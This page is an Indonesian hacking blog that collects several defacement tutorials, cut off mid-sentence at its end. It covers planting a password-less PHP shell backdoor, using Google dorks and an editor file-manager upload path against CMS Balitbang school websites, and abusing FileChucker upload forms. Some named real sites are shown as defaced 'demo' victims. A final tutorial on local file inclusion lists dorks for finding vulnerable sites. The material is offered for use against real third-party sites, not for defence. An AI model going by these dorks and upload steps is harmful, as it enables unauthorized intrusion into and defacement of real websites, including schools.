<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf5gBM7wHKizCYQ9rVvi_nYjhi5eK0Aij3GNs0uwkpOKrZRBIMeeOjgev9_8g861h-cqh4tlKSDCrJ_ZWbA5o4iytO7lseyh82FQGLFZI0qSMipFhGghJjf72xmAhSGG6Pxevb2IMYTB0/s1600/New+Picture+(14).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf5gBM7wHKizCYQ9rVvi_nYjhi5eK0Aij3GNs0uwkpOKrZRBIMeeOjgev9_8g861h-cqh4tlKSDCrJ_ZWbA5o4iytO7lseyh82FQGLFZI0qSMipFhGghJjf72xmAhSGG6Pxevb2IMYTB0/s320/New+Picture+(14).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">WAJIB DIPERHATIKAN, karena menentukan keberhasilan!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Sebaiknya Shell Backdoor jangan diberi password!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Jadi nanti seperti ini cara nulisnya.</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;"><line kosong=""></line></span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;"><line kosong=""></line></span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">{ Isi Kodingan PHP Shell dari awal sampai akhir }</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;"><line kosong=""></line></span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;"><line kosong=""></line></span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Yap di Line awal diisikan ruang kosong 2x (alias teken enter 3x) dan di Line akhir diisikan ruang kosong 2x (alias teken enter 3x). Kurang jelas? lihat gambar :</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBackm9ETeZqYXYVJnCaFXhIyqEud4DuU9sC7o-0O0TUqwP-sfDt8h0kDWmkR2tYZh8Dco3pFwRR6tYOuiJAnGUnA4BcAdKV-nlIqGpmOH_mm6wGJw8ZpZUV5xcOH4InqWHPwrlgtZp2Y/s1600/New+Picture+(15).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBackm9ETeZqYXYVJnCaFXhIyqEud4DuU9sC7o-0O0TUqwP-sfDt8h0kDWmkR2tYZh8Dco3pFwRR6tYOuiJAnGUnA4BcAdKV-nlIqGpmOH_mm6wGJw8ZpZUV5xcOH4InqWHPwrlgtZp2Y/s320/New+Picture+(15).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;"> lalu</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiamHRArI8L-LXKS_bsVRXIbODuxlfw8PUwWFjNhrgYqSKhq7g_GUSwdeI6pt2-M-uG9S7B5rFdAW77nAmNNw09EX-HI2EjcjMuC9soqA0NNGa9gTqH0pVED4e9ObtpkrNyViTabv7Vmkk/s1600/New+Picture+(15b).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiamHRArI8L-LXKS_bsVRXIbODuxlfw8PUwWFjNhrgYqSKhq7g_GUSwdeI6pt2-M-uG9S7B5rFdAW77nAmNNw09EX-HI2EjcjMuC9soqA0NNGa9gTqH0pVED4e9ObtpkrNyViTabv7Vmkk/s320/New+Picture+(15b).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Lalu klik Save! akan muncul pesan seperti gambar berikut!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikxNd5JkhsOHDBDISl9aQMJUBasNAhaVy3bQb7oQuRw6Ud2tSq0zyCEa8gTdub9Q8N9dJDEsqOnInnU4zWTPMQUxSUfcywsMwUs2SvGqpmQVCEIiNjQEmLs959PPAUmk8jybKmmnMUuvQ/s1600/New+Picture+(16).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikxNd5JkhsOHDBDISl9aQMJUBasNAhaVy3bQb7oQuRw6Ud2tSq0zyCEa8gTdub9Q8N9dJDEsqOnInnU4zWTPMQUxSUfcywsMwUs2SvGqpmQVCEIiNjQEmLs959PPAUmk8jybKmmnMUuvQ/s320/New+Picture+(16).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Selanjutnya saatnya kita buka shell backdoor yg udah kita tanem! caranya tulis diadress bar: http://site.com/main_pages/Nama File Backdoor.php Liat gambar!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGkPvHSrnKgy4zI9dkdIazEGX-Ku9FjM85OfLPZZCPvXh6Vr85s-y9Fvcdw3I5tqDE8ydspNJbxD28elFJJrCQub5w2UVZwqVMEgTNgS76fg6B1nEm2R69XVURY74E27g9ggtxkXdRaEw/s1600/New+Picture+(18).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGkPvHSrnKgy4zI9dkdIazEGX-Ku9FjM85OfLPZZCPvXh6Vr85s-y9Fvcdw3I5tqDE8ydspNJbxD28elFJJrCQub5w2UVZwqVMEgTNgS76fg6B1nEm2R69XVURY74E27g9ggtxkXdRaEw/s320/New+Picture+(18).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Huft! Akhirnya Selesai dan Berhasil tuh! Tinggal tebas index aja! wkwkwk</span><span style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: x-small;"><br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" />Sumber: <a href="http://indocyberarmy.blogspot.com/2013/03/cara-mudah-deface-website-dengan-free.html#ixzz2aj2ufEoE" style="-webkit-transition: all 0.3s ease 0s; box-sizing: border-box; text-decoration: none; transition: all 0.3s ease 0s;">http://indocyberarmy.blogspot.com/2013/03/cara-mudah-deface-website-dengan-free.html#ixzz2aj2ufEoE</a></span></span></span>

Cara Mudah Deface Website Dengan Bypass Admin Login

UPDATE: Teknik ini hanya bisa dilakukan pada CMS Premium, kalo sobat menemukan web yg tidak bisa diedit/error, berarti CMS web tersebut bu...

Baca selengkapnya »

06.57

Cara Deface Website CMS Balitbang Kemendiknas

<b>Cara Deface Website CMS Balitbang Kemendiknas</b> | <a href="http://devilzb0yz.blogspot.com/" target="_blank">Devilzb0yz</a> - Malem sob, jumpa lagi dengan saya admin ganteng KW 1 wwkwkw =D pada hari ini saya akan menulis sebuah tutorial <u>deface</u> pada web berbasis CMS Balitbang.<span class="fullpost">

</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiH1NItXIRiIkrKa4Llh5bBUaVqx5iM2gIT_G5C17pJHNk2bicv3ayThI0tU_O3HU5R_mfBotRjZTQxluvxb0UnURcRxbk8RjGmr1nxJIWcOrChDdOO8G3-hRZCFF0LnCioSPzKWdlpcdK/s1600/Hacker.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Deface Website CMS Balitbang Kemendiknas" border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiH1NItXIRiIkrKa4Llh5bBUaVqx5iM2gIT_G5C17pJHNk2bicv3ayThI0tU_O3HU5R_mfBotRjZTQxluvxb0UnURcRxbk8RjGmr1nxJIWcOrChDdOO8G3-hRZCFF0LnCioSPzKWdlpcdK/s320/Hacker.jpg" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit; font-size: xx-small;">CMS Balitbang Kemendiknas 3.42</span></div>
<div>
</div>
<div>
Sedikit membahas tentang CMS Balitbang, CMS Balitbang adalah salah satu 
CMS ( Content Management System ) yang sudah siap pakai dan biasanya 
dipergunakan untuk web sekolah. CMS ini dikembangkan oleh Balitbang 
Kemendiknas Indonesia.</div>
<div>
</div>
<div>
Namun CMS buatan Indonesia ini masih mempunyai kelemahan/<u>bug</u>. Nah, dalam hal ini saya akan memberi tahu cara menemukan bug itu yang saya kutip dari <a href="http://www.1337day.com/exploit/15806" rel="nofollow" target="_blank">Inj3ct0r</a> .Mari kita simak secara seksama. Cekibroott !</div>
<div>
</div>
<div>
<b>CMS Balitbang Kemendiknas 3.42</b></div>
<div>
<b><span style="color: orange;">Dork :</span></b></div>
<blockquote class="tr_bq">
inurl:"/html/siswa.php?"<br />
inurl:"/html/alumni.php?"<br />
inurl:"/html/guru.php?"</blockquote>
<br />
<b><span style="color: orange;">Exploit :</span></b><br />
<blockquote class="tr_bq">
http://public_html/dir/<span style="color: orange;">editor/filemanager/connectors/test.html</span></blockquote>
<br />
1). Masukan salah satu dork diatas untuk mencari bug pada CMS Balitbang<br />
2). Kemudian pilih salah satu website dari hasil pencarian menggunakan <u>dork</u> tersebut<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4qlDfIAHuwKCDMLdfELOfcAYpfvYdU8H3ERftn6wWrG2mqk_0jxIUnylqrn4C561nUR0WjFOwwhtkriIAoMrfIMjtt6NVlX075pa6WTy4nPjkXxHt0Rzc7KJ2X_nrShbSE2RL_HrHdQQh/s1600/CMS+Balitbang+1.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Deface Website CMS Balitbang Versi 3.42" border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4qlDfIAHuwKCDMLdfELOfcAYpfvYdU8H3ERftn6wWrG2mqk_0jxIUnylqrn4C561nUR0WjFOwwhtkriIAoMrfIMjtt6NVlX075pa6WTy4nPjkXxHt0Rzc7KJ2X_nrShbSE2RL_HrHdQQh/s400/CMS+Balitbang+1.png" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
3). Tampilan awal web target.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLCum1QI8ED6Iw0n0XVyqN1yCTw2EG0r6WjAkiKq5mGQcumcwZor4Ytm5XtOEZvqJHktGmzuwi29XRj7AmMvE4HDrsEmJJtLmUuz45VDUkm6mk87cni_kuGNZGOCyShs88XcVdJ-RjnbGX/s1600/CMS+Balitbang+2.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Cara Deface Website CMS Balitbang 3.42" border="0" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLCum1QI8ED6Iw0n0XVyqN1yCTw2EG0r6WjAkiKq5mGQcumcwZor4Ytm5XtOEZvqJHktGmzuwi29XRj7AmMvE4HDrsEmJJtLmUuz45VDUkm6mk87cni_kuGNZGOCyShs88XcVdJ-RjnbGX/s400/CMS+Balitbang+2.png" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="400" /></a></div>
<div style="text-align: left;">
</div>
4). Setelah itu kita masukan exploit untuk <u>CMS Balitbang</u> pada url target di <b>addressbar</b> lalu tekan Enter.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJD0_GtzOxP1G8ta2GyKyc4-FP1bb_DUFc3cyQTQl9gmfG4eMQwJAx2DxW033etUG3Z4iEWuRzk-r9BFMessd6jSfknxpTwcra6GTJKVVnukeY1s3NBHNjdF4-kzGMv7h4sbpQDesQiH2a/s1600/CMS+Balitbang+3.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Cara Deface Website CMS Balitbang 3.42" border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJD0_GtzOxP1G8ta2GyKyc4-FP1bb_DUFc3cyQTQl9gmfG4eMQwJAx2DxW033etUG3Z4iEWuRzk-r9BFMessd6jSfknxpTwcra6GTJKVVnukeY1s3NBHNjdF4-kzGMv7h4sbpQDesQiH2a/s400/CMS+Balitbang+3.png" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="400" /></a></div>
<br />
5). Maka nanti tampilannya akan seperti ini :<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNNfsbtVQW_XVhEt5oF2CgahDJ5qTbvgGC9XAa46zvZ81DoeR8TjzjlLpTNwnfJ59uZ7Z9RZb9zPDpfm1cRvwGbXvYcUCL5V6_0Zxvvy1F89fCVb40ZR-UMB2fac0fQzK86ElEwzXpkELl/s1600/CMS+Balitbang+4.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Cara Deface Website CMS Balitbang 3.42" border="0" height="193" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNNfsbtVQW_XVhEt5oF2CgahDJ5qTbvgGC9XAa46zvZ81DoeR8TjzjlLpTNwnfJ59uZ7Z9RZb9zPDpfm1cRvwGbXvYcUCL5V6_0Zxvvy1F89fCVb40ZR-UMB2fac0fQzK86ElEwzXpkELl/s400/CMS+Balitbang+4.png" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="400" /></a></div>
<br />
6). Ubah menu <b>ASP</b> menjadi <b>PHP</b> dan selanjutnya kita pilih file yang akan kita sisipkan kedalam web target.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWeEQt9SNH6u2CoQggcNl8MM968a_KDKvzYSCMgLmZI9mSCTZgwqsT8ziQsI8xwnGYNEyojKpHmYqZMYOng2-zHkWzXl7MUjzdknoYW-DXAl_W2l8VH2lw59idpP68pSTqFEZ0LNoEXN1-/s1600/CMS+Balitbang+5.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Cara Deface Website CMS Balitbang 3.42" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWeEQt9SNH6u2CoQggcNl8MM968a_KDKvzYSCMgLmZI9mSCTZgwqsT8ziQsI8xwnGYNEyojKpHmYqZMYOng2-zHkWzXl7MUjzdknoYW-DXAl_W2l8VH2lw59idpP68pSTqFEZ0LNoEXN1-/s400/CMS+Balitbang+5.png" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<b><span style="color: orange;">Catatan :</span></b><br />
<blockquote class="tr_bq">
File yang bisa disisipkan hanya file yang berekstensi <b>.txt</b></blockquote>
<br />
7). Jika file sukses terupload, maka akan tampil seperti dibawah ini.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd5yPnK9jePa9EgxvHgNlFG0RwiVCZS1JEpI8E6MB5z2iVlZCoKQUZa3AL31ROSzlRJw8nXpqab230YokEt-x6VN_VNUaSVfUYRD7BqCOKnO2VwMrCCBW_bxZtJ6JVDtdeY5Vwi7yaDrJ0/s1600/CMS+Balitbang+6.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Cara Deface Website CMS Balitbang 3.42" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd5yPnK9jePa9EgxvHgNlFG0RwiVCZS1JEpI8E6MB5z2iVlZCoKQUZa3AL31ROSzlRJw8nXpqab230YokEt-x6VN_VNUaSVfUYRD7BqCOKnO2VwMrCCBW_bxZtJ6JVDtdeY5Vwi7yaDrJ0/s400/CMS+Balitbang+6.png" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="400" /></a></div>
<br />
8). Setelah itu tinggal kita cari file yang disisipkan ke dalam web tersebut dan taraaa...<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPbB45xWsiNoqwT7kgPaSbaSi6E3QIeW85nhuw2FHN589p3SdKs3k-MFeYxv4Yi48HFPpeBc4nIUxQaOqRn44A8fFDdzDYOxlV5XySthPcd7if9y865Ni579arWd_0ivfigSLjV9aoJH3J/s1600/CMS+Balitbang+7.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Tutorial Cara Deface Website CMS Balitbang 3.42" border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPbB45xWsiNoqwT7kgPaSbaSi6E3QIeW85nhuw2FHN589p3SdKs3k-MFeYxv4Yi48HFPpeBc4nIUxQaOqRn44A8fFDdzDYOxlV5XySthPcd7if9y865Ni579arWd_0ivfigSLjV9aoJH3J/s400/CMS+Balitbang+7.png" title="Tutorial Deface Website CMS Balitbang Kemendiknas" width="400" /></a></div>
<br />
<span style="color: orange;"><b>Catatan :</b></span><br />
<blockquote class="tr_bq">
File akan berada disini, Contoh : http://target.com/userfiles/file/<b><span style="color: orange;">Nama_File</span></b>.txt</blockquote>
<br />
Gimana, mudahkan caranya? Sekian dulu tutorial dari saya kali ini, kalau ada yang bisa edit supaya bisa upload <b>shell.php</b> kasih tau ane yak wkwk :p<br />
<br />
Dan saya minta maaf kalau kebanyakan web yang dijadikan target adalah website Indonesia, karena umumnya website-website <b>sekolah</b> di Indonesia menggunakan <u>CMS Balitbang</u> ini :'(<br />
<br />
Satu lagi, saya mohon maaf kalo hanya bisa deface tapi tidak bisa 
patching, soalnya ngga ada yang ngajarin bijimane cara protectnya :'(<br />
<br />
Wassalam.<br />
<br />
<a href="http://cirebon-cyber4rt.blogspot.com/2013/04/tutorial-deface-website-cms-balitbang.html" rel="nofollow" target="_blank">sumber</a>

Cara Deface Website CMS Balitbang Kemendiknas

Cara Deface Website CMS Balitbang Kemendiknas | Devilzb0yz - Malem sob, jumpa lagi dengan saya admin ganteng KW 1 wwkwkw =D pada hari ini ...

Baca selengkapnya »

16.45

Exploit FileChucker File Upload Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on">Assalamualaikum...<br /><br />Menjelang datangnya bulan Ramadhan, sebelumnya saya selaku Admin mohon maaf jika ada salah dan khilaf yah,, mungkin emang saya sengaja maupun tidak :) <br /><br />Oke, saya lanjut berbagi lagi :) disimak aja ;) yah bisa dah sekedar nambahin unique deface di Arsip :D <br /><br />Dork :<br /><div style="color: red;">inurl:/cgi-bin/filechucker.cgi<br />intext:Toptown File Upload</div><div style="color: red;">inurl:/cgi-bin/filechucker.pl<br />intext:File Upload by Encodable</div><br /><br />Ayo mulai :) Silahkan sobat mencari target di google dengan menggunakan Dork diatas..<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4gaID4DgIkxgdmrhISS5LNNWZvlo5gjaG_IbNuwuo9ojRiNbkfrXIufW06h9leu1VZo-UxBF5c_6sLDauYE6xn2ii5-oX0urIYYHFXoNE1cXy0k9M0uFu8KQAWzLxQPsP8MHfpRqo8SU/s1600/0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4gaID4DgIkxgdmrhISS5LNNWZvlo5gjaG_IbNuwuo9ojRiNbkfrXIufW06h9leu1VZo-UxBF5c_6sLDauYE6xn2ii5-oX0urIYYHFXoNE1cXy0k9M0uFu8KQAWzLxQPsP8MHfpRqo8SU/s320/0.png" width="320" /></a></div><br />Disini saya sudah menemukan targetnya, yaitu : <span style="color: red;">http://toptown.co.uk/cgi-bin/filechucker.cgi</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuPJItqT-6Cp8AfnUiSamyQtBkxLR7e3oNsAIPFfAsiS7NkhjEIqrr4SgBrTD9tkYznU8YlsJpZOPwldtytwg4wzdkX4ZQrIDe_T3ZvFyX3DR5GpvCa4hnkaYPktJ8AkPaoOo4lsDRTJk/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuPJItqT-6Cp8AfnUiSamyQtBkxLR7e3oNsAIPFfAsiS7NkhjEIqrr4SgBrTD9tkYznU8YlsJpZOPwldtytwg4wzdkX4ZQrIDe_T3ZvFyX3DR5GpvCa4hnkaYPktJ8AkPaoOo4lsDRTJk/s320/1.png" width="320" /></a></div><br />Kemudian silahkan sobat isi yang perlu diisi filednya :) dan browse jg file depesan sobat :)<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzmolls9bRjtFzApZyguT-d_gVz84ISGW_Sf-K8gCytL1nxnXiNWw2wTPLStNBQkAmYKkhTxq2-fm2gzcUC52d0vyWVQUO5vICXS-oQO7ti2cMorG77OPRG8x_cVbPf3qO1_PYLJ8pty8/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzmolls9bRjtFzApZyguT-d_gVz84ISGW_Sf-K8gCytL1nxnXiNWw2wTPLStNBQkAmYKkhTxq2-fm2gzcUC52d0vyWVQUO5vICXS-oQO7ti2cMorG77OPRG8x_cVbPf3qO1_PYLJ8pty8/s320/2.png" width="217" /></a></div>Setelah itu klik <span style="color: red;">Begin Upload</span>.. Nah, tunggu aja hasilnya :)<br />Note: <span style="color: red;">File yang bisa diupload yaitu .htm, .html, .txt, .jpg, .gif</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqcpGrGCTdoQg3g3EC1UxMK5Hs87Hc67UI4DHzMXtbgAqkOWsHqklIV0btEuv2ZSiMRUsKhjcXq_G4Ks2PZpwuwWlYcLclOpciTLobM6UIYltCo_c2Bu9hBwWDheMQ3aDwLilqFvVSd8I/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqcpGrGCTdoQg3g3EC1UxMK5Hs87Hc67UI4DHzMXtbgAqkOWsHqklIV0btEuv2ZSiMRUsKhjcXq_G4Ks2PZpwuwWlYcLclOpciTLobM6UIYltCo_c2Bu9hBwWDheMQ3aDwLilqFvVSd8I/s320/3.png" width="320" /></a></div><br />Dan langsung buka file depesan yg sudah diupload tadi : <span style="color: red;">http://site.com/upload/files/file_mu</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyz1iJEa-Kp4-9FQfRMxPQpzWRIose8BgeEqQ4Vn8WtB94i05SBc3bBm0Wvxf11hFoIMM4u1HFeqBzB9dYV3mZ3OUj50CGmmGeLT8NMdN5HRVYeF-RqB5mX3zAAdo9QBtilE3fSh14fiU/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyz1iJEa-Kp4-9FQfRMxPQpzWRIose8BgeEqQ4Vn8WtB94i05SBc3bBm0Wvxf11hFoIMM4u1HFeqBzB9dYV3mZ3OUj50CGmmGeLT8NMdN5HRVYeF-RqB5mX3zAAdo9QBtilE3fSh14fiU/s320/4.png" width="320" /></a></div><br />Sekian tutorialnya yah,, maaf kalo masih acak2an :) yang penting bisa bermanfaat :)<br />Wassalam,,<br /><br />Demo : <span class="notice" style="color: red; margin-top: -10px;"><b> </b></span><br /><span class="notice" style="color: red; margin-top: -10px;"><b>http://exhibitfoundryfiles.com/upload/files/idca.html</b></span><br /><span class="notice" style="color: red; margin-top: -10px;"><b>http://ableprintingco.com/upload/files/idca.html <br /></b></span><br /><br /><span class="notice" style="color: red; margin-top: -10px;"><b>http://toptown.co.uk/upload/files/idca.html</b></span><br /><br /><span class="notice" style="margin-top: -10px;"><b>Content Creator : <span style="color: red;">Onix AQua</span> </b></span><br /><br /><br /><br /></div>

Exploit FileChucker File Upload Vulnerability

Assalamualaikum... Menjelang datangnya bulan Ramadhan, sebelumnya saya selaku Admin mohon maaf jika ada salah dan khilaf yah,, mungkin emang...

Baca selengkapnya »

15.59

Web Hacking ( Local File Inclusion )

Assalamualaikum ^_^<br /><br />Selamat datang di blog official Indonesian Cyber Army ~ Pada kesempatan kali ini saya akan membagikan tutorial yang dikirim oleh teman saya ke kantor IDCA *cie elaah, bersyukur deh ane yang ngak bisa apa apa, punya banyak temen yang mau berbagi ke IDCA :D oke langsung aja ye :D<br /><br /><br />Sebelum Bahas Tutorial LFI saya akan Jelasin Singkat Apa Itu LFI ? :)<br /><br />LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL. << udah cuma gitu xixixixiixixi .. Singkat kan ?? ^_^<br /><br />Bahan yang Dibutuhkan :<br />1.rokok + Kopi Kapal Api<br />2.Camilan<br />3.Tamper Data (https://addons.mozilla.org/en-US/firefox/addon/tamper-data/)<br />4.shell / script file upload ..<br />5.Dork + Kesabaran Dalam Mencari Site Bug LFI , :D<br /><br />Dork list :<br />inurl:.php?(*)=(*)php , inurl:.php?(*)=mapa.php , inurl:.php?caminho=(*)php , inurl:.php?(*)=Sitemap.php<br />ingat !! Harus Ada .php dibelakang = !!<br />Misal : inurl:.php?pg=mapa.php << harus ada .php  !!<br /><br />Trick Search Dork LFI , by ./me !!<br />1. buka translate.google.com , xixiixixxiixixi<br />2.tulis text ente ke google translate yang berkaitan dengan file file di website !! Seperti = Sitemap , contact , daftar , dll ..<br />3.translate text yang kamu tulis ke berbagai bahasa .. misal sitemap , translate ke 